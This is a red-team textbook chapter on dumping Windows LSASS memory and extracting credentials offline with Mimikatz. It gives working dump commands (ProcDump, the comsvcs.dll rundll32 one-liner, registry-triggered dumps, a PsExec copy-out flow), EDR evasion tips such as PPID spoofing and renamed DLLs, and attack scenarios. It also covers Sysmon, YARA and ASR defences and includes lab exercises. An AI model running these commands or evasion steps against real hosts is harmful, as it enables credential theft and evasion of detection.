Skip to content

Chapter 20: LSASS Memory Dump

Introduction

Throughout the previous chapters, we've been extracting credentials directly from live systems—running Mimikatz with administrative privileges and pulling hashes, tickets, and plaintext passwords straight from LSASS memory. But here's the operational reality: in mature environments, running Mimikatz on a target host is increasingly difficult. Endpoint Detection and Response (EDR) solutions have gotten remarkably good at detecting the behavioral patterns associated with live credential extraction. The moment you inject into LSASS or call certain API sequences, you're likely to trigger an alert.

Memory dump analysis represents a different philosophy entirely. Instead of conducting live extraction on the target—where every action is scrutinized by security controls—we capture a snapshot of LSASS memory using legitimate, Microsoft-signed tools and exfiltrate that dump file to our own controlled environment. Once you have the dump on your analysis workstation, you can take all the time you need. No time pressure, no detection risk during the analysis phase, and you can revisit the dump multiple times as you discover new techniques or decryption keys.

In my experience, this technique has become essential for operations against enterprise environments. The tools we use to create the dump—Task Manager, ProcDump, even comsvcs.dll—are often already present on the system or are signed Microsoft binaries that bypass application whitelisting. The dump itself is just a file that looks like diagnostic data in those environment where it is part of the troubleshooting process by system admins.

This chapter covers the complete workflow: creating the dump using various methods, loading it into Mimikatz for offline analysis, handling architecture mismatches, working with alternative memory sources like hibernation files and VM snapshots, and using WinDBG for full kernel crash dumps. We'll also examine the detection opportunities this technique creates and the defensive controls that can prevent it entirely.

LSASS MiniDump Overview

Technical Foundation

Understanding Memory Dumps

A memory dump is essentially a snapshot of a process's virtual address space at a specific moment in time. When we create a dump of LSASS, we're capturing everything currently residing in that process's memory: loaded modules, heap data, thread stacks, and—most importantly for our purposes—the credential structures maintained by the various Security Support Providers (SSPs).

The MiniDumpWriteDump Function

The Windows API provides MiniDumpWriteDump() as the standard mechanism for creating process dumps. This function is exported by dbghelp.dll and is used by virtually every legitimate debugging and diagnostic tool. When called, it:

  1. Opens a handle to the target process with appropriate access rights
  2. Enumerates the process's memory regions
  3. Reads the contents of those regions
  4. Writes the data to a file in the minidump format

The minidump format itself is documented by Microsoft and supports various "dump types" that control how much information is captured. For credential extraction, we need a full memory dump (type MiniDumpWithFullMemory), which captures the complete contents of process memory rather than just thread context and loaded module information.

Why LSASS Memory Contains Credentials

As we discussed in Chapter 14, LSASS hosts the Security Support Providers that handle Windows authentication. These SSPs must cache credentials in memory to enable features like single sign-on and credential delegation. When a user logs in interactively:

  1. The authentication package (typically MSV1_0 for local auth or Kerberos for domain auth) validates the credentials
  2. The plaintext password is used to derive various credential formats (NTLM hashes, Kerberos keys)
  3. These derived credentials are stored in memory structures managed by the respective SSP
  4. The credentials remain cached until the logon session ends or the system is rebooted

A memory dump captures these structures exactly as they exist at dump time. Mimikatz knows how to parse the internal data structures used by each SSP, allowing it to extract credentials from the dump just as effectively as it would from live memory.

Architecture and Version Considerations

Windows memory structures are architecture-specific. A 64-bit system uses 64-bit pointers and different structure layouts than a 32-bit system. Additionally, Microsoft frequently changes the internal structures used by LSASS across Windows versions—sometimes even between service packs or cumulative updates.

This creates two critical requirements:

  1. Architecture Matching: The Mimikatz binary analyzing the dump must match the architecture of the source system. You cannot analyze a 64-bit dump with 32-bit Mimikatz.

  2. Version Compatibility: Mimikatz must understand the structure layouts used by the specific Windows version that created the dump. Benjamin Delpy continuously updates Mimikatz to support new Windows builds.

Creating LSASS Memory Dumps

Method Comparison

MethodTool RequiredSigns/DetectionStealth LevelSuccess Rate
Task ManagerBuilt-inUser mode process creationLowHigh
ProcDumpExternal (signed)Command-line loggingMediumHigh
comsvcs.dllBuilt-inUnusual rundll32 usageMedium-HighHigh
Direct APICustom codeVaries by implementationVariableVariable
Silent Process ExitRegistry + WERBackground, automaticHighMedium

Method 1: Task Manager (GUI Method)

The simplest approach requires RDP or console access to the target system. Task Manager is a completely legitimate administrative tool, and creating a dump file is a documented troubleshooting procedure.

Procedure

  1. Open Task Manager (Ctrl+Shift+Esc or right-click taskbar)
  2. Navigate to the Details tab
  3. Locate lsass.exe in the process list
  4. Right-click and select "Create dump file"
  5. Windows writes the dump to %TEMP%\lsass.DMP

Operational Notes

The default dump location (C:\Users\<username>\AppData\Local\Temp\) is user-specific. The dump file can be quite large (hundreds of MB on busy systems) because it captures the full memory contents. Task Manager creates the dump synchronously, so the interface may appear to freeze momentarily.

Task Manager Dump Creation

Method 2: ProcDump (Sysinternals)

ProcDump is my preferred method for command-line scenarios. As a Microsoft-signed Sysinternals utility, it typically passes application whitelisting controls and looks like legitimate administrative activity.

Syntax

cmd
procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp

Parameter Reference

ParameterDescription
-accepteulaAutomatically accept the EULA (prevents GUI popup)
-maWrite a full dump (all memory)
-mpWrite a dump with thread and handle information
-rClone the process before dumping (less intrusive)
lsass.exeTarget process (can also use PID)
<output>Destination path for dump file

Advanced Usage

cmd
# Dump by PID (useful when hidding the string of lsass from SIEM alerts that look at commandline)
procdump.exe -accepteula -ma 672 C:\temp\lsass.dmp

# Clone before dumping (reduces detection surface)
procdump.exe -accepteula -r -ma lsass.exe C:\temp\lsass.dmp

The -r flag creates a clone of the process and dumps the clone instead of the live process. This can evade some detection mechanisms that monitor for handles to LSASS. It will vary per EDR vendor. A good example for documenting as to why it is important for pentesters and red teams to keep dtailed logs of what technique is triggered by which and and what detection level, since configuration of the EDR will vary what gets caught or not.

Method 3: comsvcs.dll (Living off the Land)

This technique uses only built-in Windows components—no external tools required. The comsvcs.dll library exports a function called MiniDump that wraps MiniDumpWriteDump(). We invoke it via rundll32.exe. At the momment as I turn the class material in to this book this has become one of the most common methods used.

Syntax

cmd
# First, identify LSASS PID
tasklist /fi "imagename eq lsass.exe"

# Create the dump (assuming PID 860)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 860 C:\temp\lsass.dmp full

Important Notes

  • The function name has specific capitalization: MiniDump (not minidump)
  • The word full at the end is required for a complete memory dump
  • There must be a space after the comma following comsvcs.dll
  • The target directory must exist; the function won't create it

Detection Evasion Considerations

This command line has become increasingly well-known and is signatured by many EDR solutions. Consider these evasion strategies:

  1. PPID Spoofing: Make rundll32.exe appear as a child of taskmgr.exe or another legitimate parent
  2. Path Variations: Use alternative paths like %SystemRoot%\System32\comsvcs.dll
  3. Renamed Copy: Copy comsvcs.dll to a different location with a different name

Method 4: Direct API Calls

For maximum flexibility, you can write custom code that calls MiniDumpWriteDump() directly. This allows complete control over the dump process and enables various evasion techniques. Often used by read teams that integrate this capability in to their implants where they spawn a sacrificail process to take the action in case of detection.

Key API Functions

FunctionLibraryPurpose
OpenProcesskernel32.dllObtain handle to LSASS
MiniDumpWriteDumpdbghelp.dllCreate the dump file
CreateFilekernel32.dllCreate output file handle

Required Access Rights

To dump LSASS, your process handle must have:

  • PROCESS_VM_READ (0x0010)
  • PROCESS_QUERY_INFORMATION (0x0400)

Combined: 0x0410 or PROCESS_QUERY_INFORMATION | PROCESS_VM_READ

Method 5: Silent Process Exit Monitoring

Windows Error Reporting (WER) can be configured to create dumps when a process exits. By setting specific registry values, you can trigger a dump when LSASS "crashes"—which you can induce through various means.

Registry Configuration

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
    GlobalFlag = 0x200 (FLG_MONITOR_SILENT_PROCESS_EXIT)

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
    ReportingMode = 0x2 (LOCAL_DUMP)
    LocalDumpFolder = C:\temp
    DumpType = 0x2 (MiniDumpWithFullMemory)

This method is stealthy but complex to execute and may cause system instability if LSASS actually terminates.

Analyzing Dumps with Mimikatz

Loading the Dump File

Once you've exfiltrated the dump file to your analysis workstation, tell Mimikatz to use the file as its data source instead of live memory.

Syntax

mimikatz # sekurlsa::minidump C:\analysis\lsass.dmp
Switch to MINIDUMP : 'C:\analysis\lsass.dmp'

mimikatz # sekurlsa::logonpasswords

Loading minidump in Mimikatz

Command Reference

CommandDescription
sekurlsa::minidump <path>Set dump file as credential source
sekurlsa::logonpasswordsExtract all available credentials
sekurlsa::msvExtract MSV (NTLM) credentials
sekurlsa::kerberosExtract Kerberos tickets and keys
sekurlsa::wdigestExtract WDigest plaintext passwords
sekurlsa::tspkgExtract TsPkg credentials

Dump Analysis Results

Handling Common Errors

When analyzing dumps, you may encounter several error messages. Understanding these helps diagnose issues quickly.

Error Reference

Error MessageCauseSolution
Minidump pInfos->MajorVersion (A) != MIMIKATZ_NT_MAJOR_VERSION (B)OS version mismatchUse Mimikatz version matching target OS
Minidump pInfos->ProcessorArchitecture (A) != PROCESSOR_ARCHITECTURE_xxx (B)32/64-bit mismatchUse correct Mimikatz architecture
Handle on memory (0x00000002)File not foundVerify dump file path
ERROR kuhl_m_sekurlsa_acquireLSA ; Key importEncryption key issuesEnsure complete dump was captured

Best Practices for Dump Analysis

  1. Document the Source: Record the hostname, OS version, architecture, and capture time
  2. Calculate File Hash: Generate SHA256 hash for chain of custody
  3. Use Matching Mimikatz: Keep multiple Mimikatz versions for different target OS versions
  4. Set Log Output: Use log command to capture all output for later analysis
mimikatz # log C:\analysis\output.txt
mimikatz # sekurlsa::minidump C:\analysis\lsass.dmp
mimikatz # sekurlsa::logonpasswords
mimikatz # log

Alternative Memory Sources

LSASS dumps aren't the only source of credentials. Full system memory—whether from crash dumps, hibernation files, or VM snapshots—contains the same LSASS data plus potentially much more.

Memory Source Comparison

SourceFile ExtensionContainsConversion Needed
LSASS Minidump.dmpLSASS onlyNo
Kernel Crash Dump.dmpFull systemNo
Hibernation Filehiberfil.sysFull RAMYes (Hibr2Bin)
VMware Memory.vmemFull RAMYes (Bin2dmp)
Hyper-V Memory.binFull RAMYes
VirtualBox Memory.savFull RAMYes

Working with Hibernation Files

Windows hibernation files (hiberfil.sys) contain a compressed copy of physical RAM at hibernation time. The Hibr2Bin tool converts these to a format suitable for analysis.

Conversion Process

cmd
# Convert hibernation file to raw memory
Hibr2Bin.exe hiberfil.sys memory.bin

# Convert to crash dump format
Bin2dmp.exe memory.bin memory.dmp

Working with VMware Snapshots

VMware stores guest VM memory in .vmem files when you take a snapshot. These are gold mines for credential extraction.

Extraction Process

cmd
# Convert vmem to crash dump
Bin2dmp.exe snapshot.vmem snapshot.dmp

# Or use Volatility for direct analysis
volatility -f snapshot.vmem --profile=Win10x64 mimikatz

Working with Kernel Crash Dumps

Full kernel crash dumps (commonly MEMORY.DMP) require a different analysis approach using WinDBG and the Mimikatz extension.

Advanced: WinDBG Integration

For full memory dumps, Mimikatz functions as a WinDBG extension (mimilib.dll). This allows credential extraction from any memory source WinDBG can load.

WinDBG Analysis Workflow

Step 1: Load the Dump

Open WinDBG and load your memory dump file:

  • File → Open Crash Dump → Select your .dmp file

Step 2: Load Mimikatz Extension

.load C:\tools\mimikatz\x64\mimilib.dll

Step 3: For Full Kernel Dumps

# List processes to find LSASS
!process 0 0 lsass.exe

# Note the process address (e.g., fffffa8003d2e040)

# Switch to LSASS process context
.process /r /p fffffa8003d2e040

# Extract credentials
!mimikatz

WinDBG Analysis

Step 4: For LSASS Minidumps in WinDBG

# Simply run the command directly
!mimikatz

WinDBG Mimikatz Output

WinDBG Command Reference

CommandDescription
.load <path>Load Mimikatz extension
!process 0 0 lsass.exeFind LSASS process address
.process /r /p <addr>Switch to process context
!mimikatzExtract credentials
!process 0 1List all processes with details

Attack Scenarios

Scenario 1: Stealthy Credential Theft via RDP

Context: You have compromised an administrative account with RDP access to a server.

Attack Flow:

  1. Connect via RDP to the target server
  2. Open Task Manager → Details tab
  3. Right-click lsass.exe → Create dump file
  4. Copy dump from %TEMP%\lsass.DMP to your workstation
  5. Analyze offline with Mimikatz

Why It Works: Task Manager is completely legitimate. The dump file creation appears as standard troubleshooting activity. No external tools are required.

Scenario 2: Command-Line Extraction via PsExec

Context: You have administrative credentials and SMB access but no interactive session.

Attack Flow:

  1. Upload ProcDump to target: copy procdump.exe \\target\C$\Windows\Temp\
  2. Execute remotely: psexec \\target procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\l.dmp
  3. Retrieve dump: copy \\target\C$\Windows\Temp\l.dmp C:\local\
  4. Clean up: del \\target\C$\Windows\Temp\procdump.exe \\target\C$\Windows\Temp\l.dmp

Variation: Use comsvcs.dll method to avoid uploading any files.

Scenario 3: Harvesting from VM Infrastructure

Context: You've compromised a virtualization administrator account.

Attack Flow:

  1. Identify high-value VMs (Domain Controllers, database servers)
  2. Create VM snapshots through management interface
  3. Access snapshot storage and download .vmem files
  4. Convert and analyze offline

Why It Works: VM snapshots are legitimate administrative operations. The credentials of every logged-in user on those VMs are now accessible.

Scenario 4: Workstation Hibernation Harvest

Context: Physical access to a laptop that's been hibernated.

Attack Flow:

  1. Boot from external media (Linux live USB)
  2. Mount the Windows drive
  3. Copy C:\hiberfil.sys to external storage
  4. Convert with Hibr2Bin → Bin2dmp
  5. Analyze with WinDBG + mimilib

Why It Works: Hibernation preserves complete RAM state. If the user was logged in, their credentials are in that file.


Detection and Indicators of Compromise

The Universal Tell: dbghelp.dll Loading

Every method of creating a minidump must load dbghelp.dll and call MiniDumpWriteDump(). This is an unavoidable behavioral indicator.

Sysmon Detection Rule (Event ID 7)

xml
<RuleGroup name="LSASS Dump Detection" groupRelation="and">
  <ImageLoad onmatch="include">
    <TargetImage condition="end with">lsass.exe</TargetImage>
    <ImageLoaded condition="end with">dbghelp.dll</ImageLoaded>
  </ImageLoad>
</RuleGroup>

Process Access Monitoring

When a process opens a handle to LSASS with memory read permissions, Windows generates Event ID 10 (Process Access) in Sysmon.

Sysmon Detection Rule (Event ID 10)

xml
<RuleGroup name="LSASS Access" groupRelation="and">
  <ProcessAccess onmatch="include">
    <TargetImage condition="end with">lsass.exe</TargetImage>
    <GrantedAccess condition="is">0x1010</GrantedAccess>
  </ProcessAccess>
</RuleGroup>

Key Detection Events

Event SourceEvent IDIndicator
Sysmon7dbghelp.dll loaded by lsass.exe
Sysmon10Process access to lsass.exe
Sysmon11File creation with .dmp extension
Sysmon1rundll32.exe with comsvcs.dll argument
Security4688Process creation with suspicious arguments

YARA Rules for Dump Files

yara
rule LSASS_MiniDump {
    meta:
        description = "Detects LSASS minidump files"
        author = "Security Team"
    strings:
        $mdmp = "MDMP" // Minidump magic bytes
        $lsass = "lsass.exe" nocase
        $lsasrv = "lsasrv.dll" nocase
    condition:
        $mdmp at 0 and ($lsass or $lsasrv)
}

Network-Based Detection

Monitor for large file transfers from systems to unusual destinations, particularly:

  • Files with .dmp extension
  • Files matching minidump magic bytes (MDMP)
  • Large files (100MB+) to external IPs
  • SMB transfers of temp directory contents

Defensive Strategies

1. Enable Attack Surface Reduction (ASR) Rules

Microsoft Defender ATP includes an ASR rule specifically designed to block LSASS credential theft:

GUID: 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2

powershell
# Enable in Block mode
Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 `
    -AttackSurfaceReductionRules_Actions Enabled

# Enable in Audit mode first (recommended)
Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 `
    -AttackSurfaceReductionRules_Actions AuditMode

This rule blocks most common LSASS dump techniques including Task Manager, ProcDump, and comsvcs.dll methods.

2. Enable LSA Protection (RunAsPPL)

Protected Process Light (PPL) prevents non-protected processes from opening handles to LSASS:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa
    RunAsPPL = 1 (DWORD)

When enabled, only digitally signed processes running as PPL can access LSASS memory.

3. Deploy Credential Guard

Windows Credential Guard isolates credentials in a Hyper-V protected container. Even if LSASS memory is dumped, the actual credential material is not accessible.

powershell
# Enable via registry
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\LSA" `
    -Name "LsaCfgFlags" -Value 1 -Type DWord

# Or via Group Policy
# Computer Configuration → Administrative Templates → System → Device Guard
# → Turn On Virtualization Based Security

4. Restrict Debug Privileges

The SeDebugPrivilege is required to open handles to LSASS. Restrict which accounts have this privilege:

Computer Configuration → Windows Settings → Security Settings →
Local Policies → User Rights Assignment → Debug programs

Remove all accounts except those that genuinely require debugging capabilities.

5. Monitor and Alert on Suspicious Activity

Deploy comprehensive monitoring for:

  • Process access to LSASS (Sysmon Event ID 10)
  • DLL loading into LSASS (Sysmon Event ID 7)
  • Dump file creation (Sysmon Event ID 11)
  • Suspicious command lines (Event ID 4688)

6. Application Whitelisting

Block execution of:

  • Unsigned binaries
  • ProcDump (unless explicitly required)
  • Rundll32.exe with unusual arguments

7. Privileged Access Workstations (PAWs)

Isolate administrative activities to dedicated workstations that:

  • Have restricted internet access
  • Are closely monitored
  • Use hardware-based credential protection
  • Are regularly reimaged

Operational Considerations

Parent Process Selection

When accessing LSASS, your tool's parent process matters for detection evasion. Legitimate processes that commonly interact with LSASS include:

Parent ProcessLegitimacyNotes
taskmgr.exeHighNormal for troubleshooting
wmiprvse.exeHighWMI operations
lsm.exeHighSession management
wfshell.exeMediumCitrix environments
LTSVC.exeMediumConnectWise/LabTech
GoogleUpdate.exeLowOccasionally accesses for auth

Domain Controller Considerations

When dumping LSASS on a Domain Controller:

  1. Output will be massive (potentially GB)
  2. Use the log command to capture output to file
  3. Consider multiple dump attempts if session was interrupted
  4. Domain Controllers cache credentials for many domain users
mimikatz # log C:\temp\dc_creds.txt
mimikatz # sekurlsa::minidump C:\temp\dc_lsass.dmp
mimikatz # sekurlsa::logonpasswords
mimikatz # log

Alternative Data Sources

Don't overlook these additional sources on target systems:

  • Virtual machine memory files (.vmem, .vmss)
  • Crash dump files (MEMORY.DMP)
  • Hibernation files (hiberfil.sys)
  • Previous dump files left by other administrators
cmd
# Search for existing dump files
dir /s /b C:\*.dmp C:\*.vmem 2>nul

# Check crash dump settings
reg query "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl"

Practical Lab Exercises

Exercise 1: GUI Dump Creation and Analysis

Objective: Create an LSASS dump using Task Manager and analyze it offline.

  1. Log into your Windows lab VM as a domain user
  2. Open Task Manager → Details tab
  3. Right-click lsass.exe → Create dump file
  4. Note the file location in the popup
  5. Copy the dump to your analysis workstation
  6. Run Mimikatz:
    sekurlsa::minidump C:\path\to\lsass.DMP
    sekurlsa::logonpasswords
  7. Document the credentials recovered

Exercise 2: Command-Line Dump with ProcDump

Objective: Use ProcDump from an administrative command prompt.

  1. Download ProcDump from Sysinternals
  2. Open elevated command prompt
  3. Execute: procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp
  4. Transfer dump file to analysis workstation
  5. Analyze with Mimikatz and compare results to Exercise 1

Exercise 3: Living off the Land with comsvcs.dll

Objective: Create a dump using only built-in Windows components.

  1. Open elevated command prompt
  2. Find LSASS PID: tasklist /fi "imagename eq lsass.exe"
  3. Create dump: rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full
  4. Verify dump was created and analyze

Challenge: Does your antivirus detect this command line?

Exercise 4: Detection Engineering

Objective: Create detection rules and observe the indicators.

  1. Enable Sysmon with a configuration that logs:
    • Event ID 7 (Image Loaded)
    • Event ID 10 (Process Access)
    • Event ID 11 (File Create)
  2. Create an LSASS dump using any method
  3. Review Sysmon logs and identify:
    • Which DLLs were loaded
    • What process accessed LSASS
    • Where the dump file was created
  4. Write a detection rule based on your findings

Exercise 5: Testing ASR Protection

Objective: Validate that ASR rules prevent LSASS dumping.

  1. Check current ASR status:
    powershell
    Get-MpPreference | Select-Object AttackSurfaceReductionRules_Ids, AttackSurfaceReductionRules_Actions
  2. Enable the LSASS protection rule in Audit mode
  3. Attempt to create an LSASS dump
  4. Check Windows Defender event logs for ASR events
  5. Enable in Block mode and retry
  6. Document the blocking behavior

Exercise 6: WinDBG Analysis of Full Memory Dump

Objective: Extract credentials from a kernel crash dump using WinDBG.

  1. Configure Windows to create full kernel dumps on crash
  2. Force a crash (or use an existing dump file)
  3. Load the dump in WinDBG
  4. Load the Mimikatz extension: .load mimilib.dll
  5. Find LSASS: !process 0 0 lsass.exe
  6. Switch context: .process /r /p <address>
  7. Extract credentials: !mimikatz

Summary

Memory dump analysis is a important technique to hav in the toolbox for credential extraction in mature environments where running Mimikatz directly on targets presents unacceptable risk.

Key Takeaways:

  • Multiple Dump Methods: Task Manager for GUI access, ProcDump for command-line, comsvcs.dll for tool-free scenarios
  • sekurlsa::minidump is your entry point—this command switches Mimikatz from live memory to dump file analysis
  • Architecture Matching is Critical: 64-bit dumps require 64-bit Mimikatz; version mismatches cause parsing failures
  • Alternative Sources Exist: Hibernation files, VM snapshots, and crash dumps all contain extractable credentials
  • WinDBG Integration: For full memory dumps, use mimilib.dll as a WinDBG extension
  • Detection Focuses on dbghelp.dll: Every dump method loads this library into the target process
  • ASR Rules are Highly Effective: The "Block credential stealing from LSASS" rule prevents most common techniques

Memory dumps represent a shift in operational philosophy—accept the risk of creating and exfiltrating a file in exchange for eliminating the risk of detection during the actual credential extraction. In my experience, this tradeoff is often favorable, particularly when you can use legitimate tools and blend the dump file creation into normal administrative activity.


Next: Chapter 21: LSASS Change and Reset PasswordPrevious: Chapter 19: LSASS SSPs